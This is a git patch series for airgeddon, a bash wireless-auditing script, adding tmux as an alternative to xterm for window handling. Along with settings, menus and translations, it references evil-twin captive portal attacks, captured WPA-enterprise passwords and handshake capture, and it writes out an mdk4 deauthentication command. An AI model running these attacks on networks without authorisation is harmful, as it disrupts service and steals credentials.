From 4473ee21c7e1808120ed10e1820e8282e3ce6ac1 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 19 Mar 2019 11:48:40 +0100 Subject: [PATCH 001/148] Preparing version numbers for v9.11 --- airgeddon.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 732253f61..3b74b9069 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,8 +2,8 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190317 -#Version......: 9.10 +#Date.........: 20190319 +#Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -110,8 +110,8 @@ declare -A possible_alias_names=( ) #General vars -airgeddon_version="9.10" -language_strings_expected_version="9.10-1" +airgeddon_version="9.11" +language_strings_expected_version="9.11-1" standardhandshake_filename="handshake-01.cap" timeout_capture_handshake="20" tmpdir="/tmp/" From 48f36a98ded8628b660fc8a1d02cb645d50eff6f Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 19 Mar 2019 11:49:26 +0100 Subject: [PATCH 002/148] Updated version number on Readme.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6b1edb9cd..34a9e57cf 100644 --- a/README.md +++ b/README.md @@ -80,7 +80,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration -[Version-shield]: https://img.shields.io/badge/version-9.10-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-9.11-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=f9ff5a "Docker rules!" From c07ad0b5ad441b381b45e6880ba35aaeadd2d730 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 19 Mar 2019 11:51:43 +0100 Subject: [PATCH 003/148] Changelog updated. Credits to xpz3 --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5db66b038..56b310b4f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,6 @@ +### 9.11 + - Added option to use tmux instead of xterm (Thank you to "xpz3") + ### 9.10 - Mdk3 replaced by Mdk4 - Fixed some minor bugs on enterprise plain text captured password process From d72046d3496b6902a3ca1d3f8f0f9f014e27a8cb Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 19 Mar 2019 11:52:10 +0100 Subject: [PATCH 004/148] Removed unused spaces from changelog --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 56b310b4f..7561b58ad 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,6 @@ ### 9.11 - Added option to use tmux instead of xterm (Thank you to "xpz3") - + ### 9.10 - Mdk3 replaced by Mdk4 - Fixed some minor bugs on enterprise plain text captured password process @@ -8,7 +8,7 @@ - Tested compatibility with Wifislax 64-2.x and Kali 2019.x - Fixed dependency problem to avoid use of xxd - Routing rules adapted to work with nftables - + ### 9.01 - Improvments on options environment var system - Minor fixes for ARM devices From 8b5f0e26c343f54c3127e21b983a9a5c6f4c2745 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 19 Mar 2019 12:01:19 +0100 Subject: [PATCH 005/148] Added version numbers v9.11 on language_strings file --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 8a04b4251..30e25f038 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20190309 +#Date.........: 20190319 #Bash Version.: 4.2 or later #Set language_strings file version @@ -11,7 +11,7 @@ function set_language_strings_version() { debug_print - language_strings_version="9.10-1" + language_strings_version="9.11-1" } #Set different language text strings From 93a47b95030f4e702be7a4868b62bc0bc437539e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 19 Mar 2019 12:05:17 +0100 Subject: [PATCH 006/148] Added tmux option to .airgeddonrc file and validations set. --- .airgeddonrc | 3 ++ airgeddon.sh | 84 +++++++++++++++++++++++++++++++++++++++------------- 2 files changed, 66 insertions(+), 21 deletions(-) diff --git a/.airgeddonrc b/.airgeddonrc index 4b55decb8..f99c1e9ef 100644 --- a/.airgeddonrc +++ b/.airgeddonrc @@ -30,3 +30,6 @@ AIRGEDDON_DEVELOPMENT_MODE=false #Enabled true / Disabled false - Debug mode for development printing debug information - Default value false AIRGEDDON_DEBUG_MODE=false + +#Available values: xterm, tmux - Define the needed tool to be used for windows handling - Default value xterm +AIRGEDDON_WINDOWS_HANDLING=xterm diff --git a/airgeddon.sh b/airgeddon.sh index 3b74b9069..e25283e12 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -4414,7 +4414,7 @@ function clean_env_vars() { debug_print - unset AIRGEDDON_AUTO_UPDATE AIRGEDDON_SKIP_INTRO AIRGEDDON_BASIC_COLORS AIRGEDDON_EXTENDED_COLORS AIRGEDDON_AUTO_CHANGE_LANGUAGE AIRGEDDON_SILENT_CHECKS AIRGEDDON_PRINT_HINTS AIRGEDDON_5GHZ_ENABLED AIRGEDDON_FORCE_IPTABLES AIRGEDDON_DEVELOPMENT_MODE AIRGEDDON_DEBUG_MODE + unset AIRGEDDON_AUTO_UPDATE AIRGEDDON_SKIP_INTRO AIRGEDDON_BASIC_COLORS AIRGEDDON_EXTENDED_COLORS AIRGEDDON_AUTO_CHANGE_LANGUAGE AIRGEDDON_SILENT_CHECKS AIRGEDDON_PRINT_HINTS AIRGEDDON_5GHZ_ENABLED AIRGEDDON_FORCE_IPTABLES AIRGEDDON_DEVELOPMENT_MODE AIRGEDDON_DEBUG_MODE AIRGEDDON_WINDOWS_HANDLING } #Clean temporary files @@ -12826,6 +12826,7 @@ function recalculate_windows_sizes() { } #Initialization of env vars +#shellcheck disable=SC2145 function env_vars_initialization() { debug_print @@ -12842,8 +12843,14 @@ function env_vars_initialization() { "AIRGEDDON_FORCE_IPTABLES" "AIRGEDDON_DEVELOPMENT_MODE" "AIRGEDDON_DEBUG_MODE" + "AIRGEDDON_WINDOWS_HANDLING" ) + declare -gA nonboolean_options_env_vars + nonboolean_options_env_vars["${ordered_options_env_vars[11]},default_value"]="xterm" + + nonboolean_options_env_vars["${ordered_options_env_vars[11]},rcfile_text"]="#Available values: xterm, tmux - Define the needed tool to be used for windows handling - Default value xterm" + declare -gA boolean_options_env_vars boolean_options_env_vars["${ordered_options_env_vars[0]},default_value"]="true" boolean_options_env_vars["${ordered_options_env_vars[1]},default_value"]="false" @@ -12869,8 +12876,12 @@ function env_vars_initialization() { boolean_options_env_vars["${ordered_options_env_vars[9]},rcfile_text"]="#Enabled true / Disabled false - Development mode for faster development skipping intro and all initial checks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[9]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[10]},rcfile_text"]="#Enabled true / Disabled false - Debug mode for development printing debug information - Default value ${boolean_options_env_vars[${ordered_options_env_vars[10]},'default_value']}" - readarray -t ENV_VARS_ELEMENTS < <(printf %s\\n "${!boolean_options_env_vars[@]}" | cut -d, -f1 | sort -u) - ENV_BOOLEAN_VARS_ELEMENTS=("${ENV_VARS_ELEMENTS[@]}") + readarray -t ENV_VARS_ELEMENTS < <(printf %s\\n "${!nonboolean_options_env_vars[@]} ${!boolean_options_env_vars[@]}" | cut -d, -f1 | sort -u) + readarray -t ENV_BOOLEAN_VARS_ELEMENTS < <(printf %s\\n "${!boolean_options_env_vars[@]}" | cut -d, -f1 | sort -u) + readarray -t ENV_NONBOOLEAN_VARS_ELEMENTS < <(printf %s\\n "${!nonboolean_options_env_vars[@]}" | cut -d, -f1 | sort -u) + ARRAY_ENV_VARS_ELEMENTS=("${ENV_VARS_ELEMENTS[@]}") + ARRAY_ENV_BOOLEAN_VARS_ELEMENTS=("${ENV_BOOLEAN_VARS_ELEMENTS[@]}") + ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS=("${ENV_NONBOOLEAN_VARS_ELEMENTS[@]}") if [ ! -f "${scriptfolder}${rc_file}" ]; then create_rcfile @@ -12886,23 +12897,37 @@ function env_vars_values_validation() { declare -gA errors_on_configuration_vars - for item in "${ENV_VARS_ELEMENTS[@]}"; do + for item in "${ARRAY_ENV_VARS_ELEMENTS[@]}"; do if [ -z "${!item}" ]; then if grep "${item}" "${scriptfolder}${rc_file}" > /dev/null; then eval "export $(grep "${item}" "${scriptfolder}${rc_file}")" else - export ${item}=${boolean_options_env_vars["${item}",'default_value']} - errors_on_configuration_vars["${item},missing_var"]="${boolean_options_env_vars[${item},'default_value']}" + if echo "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then + export ${item}=${boolean_options_env_vars["${item}",'default_value']} + errors_on_configuration_vars["${item},missing_var"]="${boolean_options_env_vars[${item},'default_value']}" + elif echo "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then + export ${item}=${nonboolean_options_env_vars["${item}",'default_value']} + errors_on_configuration_vars["${item},missing_var"]="${nonboolean_options_env_vars[${item},'default_value']}" + fi fi fi done - for item in "${ENV_BOOLEAN_VARS_ELEMENTS[@]}"; do + for item in "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}"; do if ! [[ "${!item,,}" =~ ^(true|false)$ ]]; then errors_on_configuration_vars["${item},invalid_value"]="${boolean_options_env_vars[${item},'default_value']}" export ${item}=${boolean_options_env_vars["${item}",'default_value']} fi done + + for item in "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}"; do + if [ "${item}" = "AIRGEDDON_WINDOWS_HANDLING" ]; then + if ! [[ "${!item,,}" =~ ^(xterm|tmux)$ ]]; then + errors_on_configuration_vars["${item},invalid_value"]="${nonboolean_options_env_vars[${item},'default_value']}" + export ${item}=${nonboolean_options_env_vars["${item}",'default_value']} + fi + fi + done } #Print possible issues on configuration vars @@ -12948,7 +12973,7 @@ function create_rcfile() { local counter=0 for item in "${ordered_options_env_vars[@]}"; do counter=$((counter + 1)) - if [ -n "${ENV_BOOLEAN_VARS_ELEMENTS[${item}]}" ]; then + if echo "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then { echo -e "${boolean_options_env_vars[${item},"rcfile_text"]}" echo -e "${item}=${boolean_options_env_vars[${item},"default_value"]}" @@ -12956,6 +12981,14 @@ function create_rcfile() { echo -ne "\n" fi } >> "${scriptfolder}${rc_file}" 2> /dev/null + elif echo "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then + { + echo -e "${nonboolean_options_env_vars[${item},"rcfile_text"]}" + echo -e "${item}=${nonboolean_options_env_vars[${item},"default_value"]}" + if [ ${counter} -ne ${#ordered_options_env_vars[@]} ]; then + echo -ne "\n" + fi + } >> "${scriptfolder}${rc_file}" 2> /dev/null fi done } @@ -13044,8 +13077,15 @@ function main() { check_language_strings - check_xwindow_system - detect_screen_resolution + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + check_xwindow_system + detect_screen_resolution + else + essential_tools_names=(${essential_tools_names[@]/xterm/tmux}) + possible_package_names[${essential_tools_names[7]}]="tmux" + unset possible_package_names["xterm"] + fi + set_possible_aliases initialize_optional_tools_values @@ -13077,18 +13117,20 @@ function main() { check_bash_version check_root_permissions - echo - if [[ ${resolution_detected} -eq 1 ]] && [[ "${xterm_ok}" -eq 1 ]]; then - language_strings "${language}" 294 "blue" - else - if [ "${xterm_ok}" -eq 0 ]; then - language_strings "${language}" 476 "red" - exit_code=1 - exit_script_option + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + echo + if [[ ${resolution_detected} -eq 1 ]] && [[ "${xterm_ok}" -eq 1 ]]; then + language_strings "${language}" 294 "blue" else - language_strings "${language}" 295 "red" - echo - language_strings "${language}" 300 "yellow" + if [ "${xterm_ok}" -eq 0 ]; then + language_strings "${language}" 476 "red" + exit_code=1 + exit_script_option + else + language_strings "${language}" 295 "red" + echo + language_strings "${language}" 300 "yellow" + fi fi fi From 14da1aaba0dcfb03d80ae3bbc9af2177b67388a3 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 19 Mar 2019 12:52:40 +0100 Subject: [PATCH 007/148] Added option in options menu to change windows handling tool --- airgeddon.sh | 21 ++++++++++++ language_strings.sh | 82 +++++++++++++++++++++++++++++++++++++++------ 2 files changed, 92 insertions(+), 11 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index e25283e12..f2539aa2f 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1593,6 +1593,11 @@ function option_menu() { else language_strings "${language}" 593 fi + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + language_strings "${language}" 616 + else + language_strings "${language}" 617 + fi language_strings "${language}" 447 print_hint ${current_menu} @@ -1833,6 +1838,16 @@ function option_menu() { fi ;; 10) + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + sed -ri "s:(AIRGEDDON_WINDOWS_HANDLING)=(xterm):\1=tmux:" "${scriptfolder}${rc_file}" 2> /dev/null + else + sed -ri "s:(AIRGEDDON_WINDOWS_HANDLING)=(tmux):\1=xterm:" "${scriptfolder}${rc_file}" 2> /dev/null + fi + echo + language_strings "${language}" 620 "yellow" + language_strings "${language}" 115 "read" + ;; + 11) ask_yesno 478 "yes" if [ "${yesno}" = "y" ]; then get_current_permanent_language @@ -3991,6 +4006,12 @@ function print_options() { else language_strings "${language}" 595 "blue" fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + language_strings "${language}" 618 "blue" + else + language_strings "${language}" 619 "blue" + fi } #Print selected interface diff --git a/language_strings.sh b/language_strings.sh index 30e25f038..24f81288e 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -6214,17 +6214,17 @@ function language_strings() { arr["GERMAN",446]="0. Zum Optionsmenü zurückkehren" arr["TURKISH",446]="0. Ayarlar menüsüne geri dön" - arr["ENGLISH",447]="10. Set permanently airgeddon's language to the current one" - arr["SPANISH",447]="10. Cambiar permanentemente el idioma de airgeddon al actual" - arr["FRENCH",447]="10. Etablir comme langue permanente d'airgeddon celle utilisée actuellement" - arr["CATALAN",447]="10. Canviar permanentment l'idioma de airgeddon a l'actual" - arr["PORTUGUESE",447]="10. Alterar permanentemente o idioma do airgeddon para o atual" - arr["RUSSIAN",447]="10. Сделать текущий язык airgeddon постоянным" - arr["GREEK",447]="10. Θέστε μόνιμα την τρέχουσα γλώσσα του airgeddon ως προεπιλεγμένη" - arr["ITALIAN",447]="10. Modificare in modo permanente la lingua di airgeddon a quella attuale" - arr["POLISH",447]="10. Trwale ustaw język airgeddon na aktualny" - arr["GERMAN",447]="10. Ändern Sie dauerhaft die Sprache von airgeddon zur aktuellen Sprache" - arr["TURKISH",447]="10. Sürekli olarak airgeddon'un dilini geçerli olana ayarla" + arr["ENGLISH",447]="11. Set permanently airgeddon's language to the current one" + arr["SPANISH",447]="11. Cambiar permanentemente el idioma de airgeddon al actual" + arr["FRENCH",447]="11. Etablir comme langue permanente d'airgeddon celle utilisée actuellement" + arr["CATALAN",447]="11. Canviar permanentment l'idioma de airgeddon a l'actual" + arr["PORTUGUESE",447]="11. Alterar permanentemente o idioma do airgeddon para o atual" + arr["RUSSIAN",447]="11. Сделать текущий язык airgeddon постоянным" + arr["GREEK",447]="11. Θέστε μόνιμα την τρέχουσα γλώσσα του airgeddon ως προεπιλεγμένη" + arr["ITALIAN",447]="11. Modificare in modo permanente la lingua di airgeddon a quella attuale" + arr["POLISH",447]="11. Trwale ustaw język airgeddon na aktualny" + arr["GERMAN",447]="11. Ändern Sie dauerhaft die Sprache von airgeddon zur aktuellen Sprache" + arr["TURKISH",447]="11. Sürekli olarak airgeddon'un dilini geçerli olana ayarla" arr["ENGLISH",448]="If you installed airgeddon from a repository, you should not enable automatic updates. airgeddon will be updated when there is a new version in the repository" arr["SPANISH",448]="Si instalaste airgeddon desde un repositorio, no deberías activar la actualización automática. airgeddon se actualizará cuando haya una nueva versión en el repositorio" @@ -8242,6 +8242,66 @@ function language_strings() { arr["GERMAN",615]="Ein Fehler wurde in Ihren Einstellungen gefunden. Bitte überprüfen Sie die Datei ${rc_file}. Sie haben die Option aktiviert, um die Verwendung von iptables anstelle von nftables zu erzwingen (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}), aber auf Ihrem System sind iptables nicht installiert. Deaktivieren Sie diese Option oder installieren Sie iptables, um das Problem zu lösen" arr["TURKISH",615]="${pending_of_translation} Yapılandırmanızda bir hata var. Lütfen ${rc_file} dosyasını kontrol edin. Nftables (${normal_color}AIRGEDDON_FORCE_IPTABLES${red_color}) yerine iptables kullanımını zorlama seçeneğini etkinleştirdiniz, ancak sisteminizde iptables kurulu değil. Bu seçeneği devre dışı bırakın veya sorunu çözmek için iptables yükleyin" + arr["ENGLISH",616]="10. Change windows handling method to tmux" + arr["SPANISH",616]="10. Cambiar el método de manejo de ventanas a tmux" + arr["FRENCH",616]="${pending_of_translation} 10. Changer la méthode de gestion de la fenêtre en tmux" + arr["CATALAN",616]="${pending_of_translation} 10. Canviar el mètode de maneig de finestres a tmux" + arr["PORTUGUESE",616]="${pending_of_translation} 10. Altere o método de gerenciamento de janela para tmux" + arr["RUSSIAN",616]="${pending_of_translation} 10. Измените метод управления окнами на tmux" + arr["GREEK",616]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε tmux" + arr["ITALIAN",616]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in tmux" + arr["POLISH",616]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na tmux" + arr["GERMAN",616]="${pending_of_translation} 10. Ändern Sie die Methode der Fensterverwaltung in tmux" + arr["TURKISH",616]="${pending_of_translation} 10. Pencere yönetimi yöntemini tmux olarak değiştirin" + + arr["ENGLISH",617]="10. Change windows handling method to xterm" + arr["SPANISH",617]="10. Cambiar el método de manejo de ventanas a xterm" + arr["FRENCH",617]="${pending_of_translation} 10. Changer la méthode de gestion de la fenêtre en xterm" + arr["CATALAN",617]="${pending_of_translation} 10. Canviar el mètode de maneig de finestres a xterm" + arr["PORTUGUESE",617]="${pending_of_translation} 10. Altere o método de gerenciamento de janela para xterm" + arr["RUSSIAN",617]="${pending_of_translation} 10. Измените метод управления окнами на xterm" + arr["GREEK",617]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε xterm" + arr["ITALIAN",617]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in xterm" + arr["POLISH",617]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na xterm" + arr["GERMAN",617]="${pending_of_translation} 10. Ändern Sie die Methode der Fensterverwaltung in xterm" + arr["TURKISH",617]="${pending_of_translation} 10. Pencere yönetimi yöntemini xterm olarak değiştirin" + + arr["ENGLISH",618]="Windows handling: ${pink_color}xterm${normal_color}" + arr["SPANISH",618]="Manejo de ventanas: ${pink_color}xterm${normal_color}" + arr["FRENCH",618]="${pending_of_translation} Gestion de la fenêtre: ${pink_color}xterm${normal_color}" + arr["CATALAN",618]="${pending_of_translation} Maneig de finestres: ${pink_color}xterm${normal_color}" + arr["PORTUGUESE",618]="${pending_of_translation} Gerenciamento de janelas: ${pink_color}xterm${normal_color}" + arr["RUSSIAN",618]="${pending_of_translation} Управление окнами: ${pink_color}xterm${normal_color}" + arr["GREEK",618]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}xterm${normal_color}" + arr["ITALIAN",618]="${pending_of_translation} Gestione delle finestre: ${pink_color}xterm${normal_color}" + arr["POLISH",618]="${pending_of_translation} Zarządzanie oknami: ${pink_color}xterm${normal_color}" + arr["GERMAN",618]="${pending_of_translation} Fensterverwaltung: ${pink_color}xterm${normal_color}" + arr["TURKISH",618]="${pending_of_translation} Pencere yönetimi: ${pink_color}xterm${normal_color}" + + arr["ENGLISH",619]="Windows handling: ${pink_color}tmux${normal_color}" + arr["SPANISH",619]="Manejo de ventanas: ${pink_color}tmux${normal_color}" + arr["FRENCH",619]="${pending_of_translation} Gestion de la fenêtre: ${pink_color}tmux${normal_color}" + arr["CATALAN",619]="${pending_of_translation} Maneig de finestres: ${pink_color}tmux${normal_color}" + arr["PORTUGUESE",619]="${pending_of_translation} Gerenciamento de janelas: ${pink_color}tmux${normal_color}" + arr["RUSSIAN",619]="${pending_of_translation} Управление окнами: ${pink_color}tmux${normal_color}" + arr["GREEK",619]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}tmux${normal_color}" + arr["ITALIAN",619]="${pending_of_translation} Gestione delle finestre: ${pink_color}tmux${normal_color}" + arr["POLISH",619]="${pending_of_translation} Zarządzanie oknami: ${pink_color}tmux${normal_color}" + arr["GERMAN",619]="${pending_of_translation} Fensterverwaltung: ${pink_color}tmux${normal_color}" + arr["TURKISH",619]="${pending_of_translation} Pencere yönetimi: ${pink_color}tmux${normal_color}" + + arr["ENGLISH",620]="The windows handling method has been modified in the configuration file. Restart the script in order to make the changes to take effect" + arr["SPANISH",620]="Se ha modificado en el fichero de configuración el método de gestión de ventanas. Reinicia el script para que los cambios tengan efecto" + arr["FRENCH",620]="${pending_of_translation} La méthode de gestion des fenêtres a été modifiée dans le fichier de configuration. Redémarrez le script pour que les modifications prennent effet" + arr["CATALAN",620]="${pending_of_translation} S'ha modificat en el fitxer de configuració el mètode de gestió de finestres. Reinicia el script perquè els canvis tinguin efecte" + arr["PORTUGUESE",620]="${pending_of_translation} O método de gerenciamento de janelas foi modificado no arquivo de configuração. Reinicie o script para que as alterações entrem em vigor" + arr["RUSSIAN",620]="${pending_of_translation} Метод управления окнами был изменен в файле конфигурации. Перезапустите скрипт, чтобы изменения вступили в силу" + arr["GREEK",620]="${pending_of_translation} Η μέθοδος διαχείρισης παραθύρων έχει τροποποιηθεί στο αρχείο ρυθμίσεων. Κάντε επανεκκίνηση του σεναρίου για να εφαρμοστούν οι αλλαγές" + arr["ITALIAN",620]="${pending_of_translation} Il metodo di gestione delle finestre è stato modificato nel file di configurazione. Riavviare lo script per rendere effettive le modifiche" + arr["POLISH",620]="${pending_of_translation} Metoda zarządzania oknami została zmodyfikowana w pliku konfiguracyjnym. Uruchom ponownie skrypt, aby zmiany odniosły skutek" + arr["GERMAN",620]="${pending_of_translation} Die Fensterverwaltungsmethode wurde in der Konfigurationsdatei geändert. Starten Sie das Skript neu, damit die Änderungen wirksam werden" + arr["TURKISH",620]="${pending_of_translation} Pencere yönetim yöntemi, yapılandırma dosyasında değiştirildi. Değişikliklerin etkili olması için betiği yeniden başlatın" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From fb6a8c07d54a360cb5679e531fc9cb38507508d4 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 21 Mar 2019 03:55:42 +0530 Subject: [PATCH 008/148] Add the necessary wrapper functions for tmux and create a centralized function to manage xterm/tmux calls --- airgeddon.sh | 110 ++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 109 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index f2539aa2f..b5538fa06 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190319 +#Date.........: 20190320 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -323,6 +323,9 @@ crunch_numbercharset="0123456789" crunch_symbolcharset="!#$%/=?{}[]-*:;" hashcat_charsets=("?l" "?u" "?d" "?s") +#Tmux vars +session_name="airgeddon" + #Check coherence between script and language_strings file function check_language_strings() { @@ -13076,6 +13079,111 @@ function initialize_colors() { white_color="\e[1;97m" } +#Kill tmux session started by airgeddon +function kill_tmux_session() { + + debug_print + + tmux kill-session -t "${1}" +} + +#Starting point of airgeddon script inside newly created tmux session +function start_airgeddon_from_tmux() { + + debug_print + + tmux rename-window -t "${session_name}" "airgeddon-Main" + tmux send-keys -t "${session_name}" "clear;tmux send-keys -t airgeddon-Main \"bash "${scriptfolder}${scriptname}"\" ENTER" ENTER + sleep 0.2 + tmux attach -t "${session_name}" +} + +#Create new tmux session exclusively for airgeddon +function create_tmux_session() { + + debug_print + + session_name="${1}" + + if [ "${2}" = "true" ]; then + tmux new-session -d -s "${1}" + start_airgeddon_from_tmux + else + tmux new-session -s "${1}" + start_airgeddon_from_tmux + fi +} + +#Start supporting scripts inside its own tmux window +function start_tmux_processes() { + + debug_print + + window_name="${1}" + command_line="${2}" + + tmux new-window -t "${session_name}:" -n "${window_name}" + tmux send-keys -t "${session_name}:${window_name}" "${command_line}" ENTER +} + +#Check if script is currently executed inside tmux session or not +function check_inside_tmux() { + + debug_print + + local parent_pid + parent_pid=$(ps -o ppid= ${PPID} | tr -d ' ') + parent_window="$(ps --no-headers -p "${parent_pid}" -o comm=)" + if [ "${parent_window}" = "tmux: server" ]; then + return 0 + fi + return 1 +} + +#Close any existing tmux session before opening, to avoid conflicts +function close_existing_airgeddon_tmux_session() { + + debug_print + + if ! check_inside_tmux; then + eval "kill -9 $(ps --no-headers aux | grep -i 'tmux.*airgeddon' | awk '{print $2}' | tr '\n' ' ') > /dev/null 2>&1" + fi +} + +#Hand over script execution to tmux and call function to create a new session +function transfer_to_tmux() { + + debug_print + + close_existing_airgeddon_tmux_session + + if ! check_inside_tmux; then + create_tmux_session "${session_name}" "true" + fi + +} + +#Centralized function to launch window using xterm/tmux +function manage_output() { + + debug_print + + xterm_parameters="${1}" + tmux_command_line="${2}" + xterm_command_line="\"${2}\"" + window_name="${3}" + command_tail=" > /dev/null 2>&1 &" + + case "${AIRGEDDON_WINDOWS_HANDLING}" in + "tmux") + start_tmux_processes "${window_name}" "clear;${tmux_command_line}" + ;; + "xterm") + eval "xterm ${xterm_parameters} -e ${xterm_command_line}${command_tail}" + ;; + esac +} + #Script starting point function main() { From a8e612f6d253ec9b3b027fbab14838a993d91b4f Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 21 Mar 2019 04:09:03 +0530 Subject: [PATCH 009/148] Hand over script execution inside tmux session if window handling is set to tmux --- airgeddon.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index b5538fa06..05cd37862 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -12952,6 +12952,16 @@ function env_vars_values_validation() { fi fi done + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if hash tmux 2> /dev/null; then + transfer_to_tmux + if ! check_inside_tmux; then + exit_code=1 + exit ${exit_code} + fi + fi + fi } #Print possible issues on configuration vars From e73195fc769a77dc562710f9a2de430f4ad5ef8e Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 21 Mar 2019 17:25:42 +0530 Subject: [PATCH 010/148] Tidy up tmux functions --- airgeddon.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 05cd37862..8515d3f7b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -325,6 +325,7 @@ hashcat_charsets=("?l" "?u" "?d" "?s") #Tmux vars session_name="airgeddon" +tmux_main_window="airgeddon-Main" #Check coherence between script and language_strings file function check_language_strings() { @@ -13102,8 +13103,8 @@ function start_airgeddon_from_tmux() { debug_print - tmux rename-window -t "${session_name}" "airgeddon-Main" - tmux send-keys -t "${session_name}" "clear;tmux send-keys -t airgeddon-Main \"bash "${scriptfolder}${scriptname}"\" ENTER" ENTER + tmux rename-window -t "${session_name}" "${tmux_main_window}" + tmux send-keys -t "${session_name}:${tmux_main_window}" "clear;bash ${scriptfolder}${scriptname}" ENTER sleep 0.2 tmux attach -t "${session_name}" } From 74cc8fe53713c77d530f5fd314648bf163b565da Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 22 Mar 2019 02:36:18 +0530 Subject: [PATCH 011/148] Evil Twin With Captive Portal - Replace xterm calls with centralized function calls for xterm/tmux --- airgeddon.sh | 27 ++++++++++++++++++--------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 8515d3f7b..2844612e7 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3400,20 +3400,23 @@ function launch_dos_pursuit_mode_attack() { dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} d -b 